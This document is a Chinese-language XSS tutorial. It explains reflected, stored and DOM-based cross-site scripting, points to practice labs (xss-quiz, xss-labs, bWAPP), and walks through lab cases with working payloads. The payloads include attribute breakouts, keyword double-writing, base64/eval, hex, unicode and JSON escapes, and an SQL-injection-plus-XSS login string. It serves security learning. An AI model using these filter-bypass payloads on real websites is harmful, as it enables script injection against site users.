简介
XSS是 Cross Site Scripting的简写,即跨站脚本攻击,为了避免和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故缩写为 XSS。
恶意攻击者往 Web 页面里插入恶意 HTML 代码,当用户浏览该页时,嵌入 Web 里面 的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。
常识
反射型
如果一个应用程序使用动态页面向用户显示错误消息,就会造成一种常见的XSS漏洞。通常,该页面会使用一个包含消息文本的参数,并在响应中将这个文 本返回给用户。对于开发者而言,使用这种机制非常方便,因为它允许他们从应用程序中调用一个定制的错误页面,而不需要对错误页面中的消息分别进行硬编码。
存储型
而存储型XSS是广撒网的方式或者指定的方式,就是攻击者将存储型XSS放在一些有XSS漏洞的网站上,只要有用户访问这个链接就会中招,而攻击者也可以寻找被攻击对象,比如说上面的例子,所以我们可以看出,存储型XSS的危害性更大,范围更广,可以不需要寻找被攻击对象,只要存储型XSS在服务器上就能实施攻击。
DOM型
DOM型XSS漏洞通常出现在以下情况: JavaScript从攻击者可控的源(如URL)获取数据,并将其传递给支持动态代码执行的接收器(如eval()或innerHTML)。 这使得攻击者能够执行恶意的JavaScript,这通常允许他们劫持其他用户的帐户。
练习网站:
1、https://xss-quiz.int21h.jp/(在线)
2、自己搭建(xss-labs、bWAPP(虚拟机))
链接:https://pan.baidu.com/s/1cOtFWecT7DaBLCmVsfLMVw
提取码:XSSS
总结
1、没有过滤的xss(GET)
2、属性中的xss
3、选择列表的xss
4、隐藏参数的xss
5、限制输入的xss
6、尖括号(<>)过滤
7、空格分隔属性
8、javascript伪协议绕过过滤
9、关键字过滤
10、空格绕过script过滤
11、双反引号绕过<>和""过滤(IE)
12、十六进制绕过过滤
13、unicode绕过过滤
14、xss过滤器
15、html编码绕过
16、Json类型xss
17、XSS - Reflected(AJAX/JSON)
18、XSS - Reflected(AJAX/XML)
19、XSS - Reflected(Back Button)
20、XSS - Reflected (Eval)
21、XSS - Reflected(Login form)
22、XSS - Stored(User-Agent)
常用的xss探测语句
1、<script>alert("hello");</script>
2、<svg onload=alert(document.domain);>
3、<img src=x onerror=alert(1)>
常见的事件
4、onmouseover="alert(document.domain)"
5、onchange(HTML元素改变)
6、onclick(鼠标点击)
7、onmouseout(用户从一个HTML元素上移开鼠标)
8、onkeydown(用户按下键盘按键)
9、onload(浏览器已完成页面的加载)
10、<a href=javasccript:alert(1)></a>
案例
1、没有过滤的xss漏洞(GET)
2、属性中的xss
3、选择列表的xss
4、隐藏的参数
payload:"><script>alert(document.domain);</script>
5、输入字符限制
6、<>被过滤
payload:123456"οnmοuseοver="alert(document.domain)
7、空格分隔属性
payload: 111 οnmοuseοver=alert(document.domain)
8、javascript伪协议
9、关键字被过滤
1、双写绕过:dodomainmain payload:111"><script>alert(document.dodomainmain);</script>
编码绕过(base64):alert(document.domain)----》YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
payload:111"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
10、绕过script过滤
payload:javascri pt:alert(document.domain)(使用空格绕过)
11、双反引号绕过<>和""过滤(IE)
payload: `` onmousemove=alert(document.domain)
12、16进制转换绕过过滤
Payload: \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
13、unicode绕过过滤
Payload: \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
15、html编码绕过
url编码
url的设计者,考虑到安全传输问题,防止url字符丢失,所以选用了相对较小的、通用的安全字母表。
另一方面,url的设计者希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(比如中文)。
所以url引入了一种转义机制,将不安全的字符编码为安全字符再进行传输。
百分号编码:url编码包含一个百分号(%),后面跟着两个表示字符ASCII码的十六进制数。例如:空格转为“%20”。
html编码
一些保留字符出现在文本节点和标签值里是不安全的。比如“<>”会导致浏览器误认为标签。如果想要正确的显示这些字符,需要使用html编码。
实体编码:一般以“&”开头,“;”结尾,可以不加“;”。如:“<”转为“<”
进制编码:以“&#”开头,加上字符的数值,“;”结尾,可以不加“;”。字符的数值可以是任意十进制ascii码或Unicode字符编码。十六进制的数值需要在编码数字前加“x”。如:“<”转为十进制的“<”或十六进制的“<”。
javascript编码
数字形式:\u后面加4位16进制数字(或\x后加2位16进制数字),按字符的uncode数值编码,不足位数以零填充。
如:“<”转为“\u003c”或“\x3c”。其中“\u”开头的Unicode转义方式可以用在字符串之外的位置,其他的不可以。
jsfuck编码
网站:http://www.jsfuck.com/
javascript:alert(1)
javascript:alert(1)
16、json的xss
payload:"}]}’;alert(123)//
17、XSS - Reflected(AJAX/JSON)
AJAX 是一种用于创建快速动态网页的技术。
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
payload:<img src=x onerror=alert(1)> 会出现重复(鬼畜)弹窗
18、XSS - Reflected(AJAX/XML)
payload:<img src=x onerror=alert(1)>
19、XSS - Reflected(Back Button)
payload:"><script>alert(1)</script>
20、XSS - Reflected (Eval)
payload:eval(String.fromCharCode(97,108,101,114,116,40,120,115,115,41))
21、XSS - Reflected(Login form)
payload:' or 1=1,"<img src=a.png onerror=alert(1)>"
22、XSS - Stored(User-Agent)
抓包修改User-Agent值,为存储型XSS。